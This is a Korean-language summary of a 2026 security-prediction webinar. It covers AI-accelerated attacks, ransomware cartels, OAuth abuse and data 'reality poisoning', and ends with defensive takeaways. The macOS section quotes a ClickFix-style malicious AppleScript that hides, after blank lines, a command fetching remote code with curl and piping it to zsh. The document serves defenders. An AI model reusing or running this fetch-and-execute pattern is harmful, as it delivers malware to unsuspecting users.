용서의 시대는 끝났다: AI, 공격자 및 글로벌 변화에 대한 2026년 보안 예측

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핵심 요약

2026년은 AI가 공격자의 역량을 기하급수적으로 증폭시켜 취약점 발견과 실제 공격 사이의 간극이 사라지는 '용서 없는 인터넷'의 시대가 될 것이다. 과거에는 인간의 처리 능력 한계로 인해 공격의 수익화 과정에 지연이 발생했으나, 자율 AI 에이전트가 이를 자동화하면서 방어자가 대응할 시간적 여유가 완전히 사라진다. 또한 베네수엘라와 중국을 둘러싼 지정학적 긴장이 사이버 작전으로 이어지고, AI 모델이 생성한 데이터로 인해 정보 생태계가 오염되는 '현실 오염' 문제가 심각해질 것으로 보인다. 보안 업계는 이러한 변화에 맞춰 AI 네이티브 방어 체계로의 전환과 신뢰 관계에 대한 재정의가 시급한 시점이다.

배경

사이버 위협 인텔리전스(CTI)에 대한 기본 이해, 제로 트러스트 및 OAuth 인증 메커니즘에 대한 지식, macOS 보안 아키텍처 및 스크립팅 언어에 대한 이해

대상 독자

기업 보안 책임자(CISO), 위협 인텔리전스 분석가, 클라우드 및 macOS 보안 엔지니어

의미 / 영향

AI는 공격과 방어의 비대칭성을 더욱 심화시키며, 기존의 수동적인 보안 대응 방식은 더 이상 유효하지 않게 된다. 특히 AI 모델의 신뢰성 붕괴는 기업의 의사결정 시스템 전체를 위협할 수 있으므로, 데이터의 무결성을 검증하고 AI 네이티브 보안 체계를 구축하는 것이 기업 생존의 핵심이 될 것이다.

섹션별 상세

AI는 공격자의 역량을 기하급수적으로 늘려 취약점이 발견되는 즉시 공격이 실행되는 환경을 만든다. 과거에는 인간의 처리 능력 한계로 인해 공격과 수익화 사이에 지연이 있었으나, 자율 에이전트가 이를 자동화하면서 방어자가 대응할 시간적 여유가 사라진다.

베네수엘라를 둘러싼 미국과 러시아, 이란, 중국의 대립이 사이버 공간으로 확장되어 정보 작전과 인프라 공격이 급증할 것이다. 특히 중국의 제15차 5개년 계획(2026-2030)에 명시된 핵심 기술 분야가 중국 해커들의 집중적인 표적이 될 것으로 예측된다.

랜섬웨어와 정보 탈취 도구가 범용화되면서 소규모 조직들이 연합하여 MaaS(Malware-as-a-Service) 형태의 카르텔을 형성한다. 공격자들은 데이터를 암호화하지 않고도 유출 협박만으로 수익을 창출하며, AI 에이전트를 활용해 피해자에게 직접 연락하거나 규제 법안을 악용해 압박을 가하는 등 전술이 고도화된다.

Sicarii Ransom 그룹이 초기 침투 브로커(IAB)를 모집하는 광고 화면이다. — Screenshot사이버 범죄 조직이 분업화되어 초기 접근 권한을 가진 브로커들과 적극적으로 협력하고 있음을 보여준다. 이는 범죄 생태계가 더욱 체계적이고 카르텔화되고 있다는 본문의 내용을 뒷받침한다.

데이터 유출만을 목적으로 하는 Kairos 그룹의 데이터 유출 사이트(DLS) 배너이다. — Screenshot공격자들이 데이터를 암호화하지 않고도 유출 협박만으로 수익을 창출하는 'Exfiltration-only' 모델로 변화하고 있음을 시각적으로 보여준다.

macOS 환경에서 AppleScript의 Objective-C 브리지(AS-ObjC)를 악용한 인메모리 스크립팅 공격이 증가할 것으로 보인다. 이는 별도의 바이너리 실행 없이 시스템 프레임워크에 직접 접근할 수 있어 탐지가 어렵고, 유효한 개발자 계정을 탈취해 악성코드를 서명하는 방식의 공격도 늘어날 전망이다.

applescript

set javaSDKURL to "https://osx-software.com/packages.html"
do shell script "open " & quoted form of javaSDKURL

// ... (10000 Blank Lines)

set urlSDKToken to "curl -kfSSL https://foldgalaxy.com/curl/25e43ad6eaf6ff84333b...|zsh"
do shell script urlSDKToken
tell application "Script Editor" to quit

정상적인 웹페이지를 여는 것처럼 위장한 뒤 수만 줄의 공백 뒤에 악성 코드를 숨긴 ClickFix 스타일의 AppleScript 예시

macOS 환경에서 사용되는 ClickFix 스타일의 악성 AppleScript 코드 캡처이다. — Screenshot수만 줄의 공백 뒤에 악성 코드를 숨겨 사용자를 속이는 사회 공학적 기법의 구체적인 구현 방식을 보여준다. 단순한 스크립트가 어떻게 강력한 공격 도구가 될 수 있는지 설명한다.

AI에 대한 과도한 투자가 조정기를 거치며 실질적인 보안 가치를 제공하지 못하는 기업들은 도태될 것이다. 특히 AI가 생성한 저품질 데이터가 다시 학습 데이터로 유입되는 '모델 오염' 현상이 심화되어, 기업 내부 지식 베이스의 신뢰성이 무너지는 '현실 오염(Reality Poisoning)' 단계에 진입할 위험이 있다.

모델 오염(Model Poisoning)이 현실 오염(Reality Poisoning)으로 확장되는 개념을 설명하는 이미지이다. — InfographicAI 생성 데이터가 다시 학습에 쓰이면서 발생하는 데이터 오염의 연쇄 반응을 시각화한다. 이는 AI 기반 정보 생태계의 신뢰성이 무너지는 과정을 경고하는 핵심적인 이미지이다.

ID 공급자(IdP)와 OAuth 관계를 표적으로 하는 공격이 정교해진다. 잘못 설정되거나 방치된 OAuth 권한을 통해 SaaS 애플리케이션 간의 연결 고리를 타고 침투하는 방식이 주를 이루며, AI 에이전트가 이러한 연결 관계를 자동으로 매핑하고 공격 단계를 수행하는 도구가 등장할 것이다.

실무 Takeaway

공격자가 AI를 활용해 공격 속도를 높이는 만큼, 방어자도 AI 네이티브 보안 도구를 도입하여 탐지 및 대응 자동화 수준을 극대화해야 한다.
SaaS 및 클라우드 환경에서 OAuth 권한과 ID 공급자 설정을 정기적으로 감사하여, 방치된 레거시 애플리케이션을 통한 권한 탈취 경로를 차단해야 한다.
코드 서명 여부만으로 안전성을 판단하지 말고, AppleScript나 Swift 스크립트와 같은 시스템 내장 도구 활용(LotL) 기술에 대한 텔레메트리 모니터링을 강화해야 한다.

언급된 리소스

DemoThe End of Forgiveness: 2026 Predictions on AI, Adversaries & Global Change (Webinar)